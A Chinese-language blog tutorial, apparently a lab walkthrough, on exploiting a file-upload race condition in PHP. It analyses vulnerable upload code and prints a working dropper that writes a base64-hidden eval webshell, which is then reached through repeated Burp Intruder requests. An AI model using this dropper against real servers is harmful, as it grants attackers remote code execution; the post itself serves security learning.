文件上傳-條件競爭
作者:Mi2ac1e
一直以來都知道文件上傳中有一個繞過方法是條件競爭,但沒有實際試驗過。於是在今天實驗的過程中發現了一些問題,寫這篇文章記錄一下。
0x01 代碼分析
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允許上傳.jpg|.png|.gif類型文件!";
unlink($upload_file);
}
}else{
$msg = '上傳出錯!';
}
}
代碼分析:先將文件上傳到服務器中,再判斷文件后綴是否在白名單里面。如果在則重命名,否則刪除。
明顯缺陷在於:先將文件上傳到服務器中並且該操作沒有重命名我們上傳的文件。這就可以讓我們有了可乘之機:只要知道我們將文件上傳到了哪,就可以設置burp一直上傳、一直訪問。
0x02 漏洞利用
為了萬無一失,我並沒有將上傳的php直接寫成一句話木馬,而是訪問這個文件即可生成一個webshell
需要上傳的php代碼:
<?php
$a='PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+';
$myfile = fopen("shell.php", "w");
fwrite($myfile, base64_decode($a));
fclose($myfile);
?>
這里需要寫入的內容使用了base64加密,原因是如果你直接將$a=一句話木馬,生成的文件中將不會含有$_POST['xxx'] 所以我們需要使用base64加密
我把這個文件命名為tjjz.php
上傳文件的Burp-intruder:


盡管你后面使用Null payload,但仍然需要設定一個變量。而且這個變量最好是空格作為變量。否則他的請求包會變成這樣:

(隨便設置變量並選擇Null payloads的下場,他會將變量變成空)

訪問地址的Burp-intruder:


0x03結果呈現


蟻劍連接生成的shell.php 密碼 a


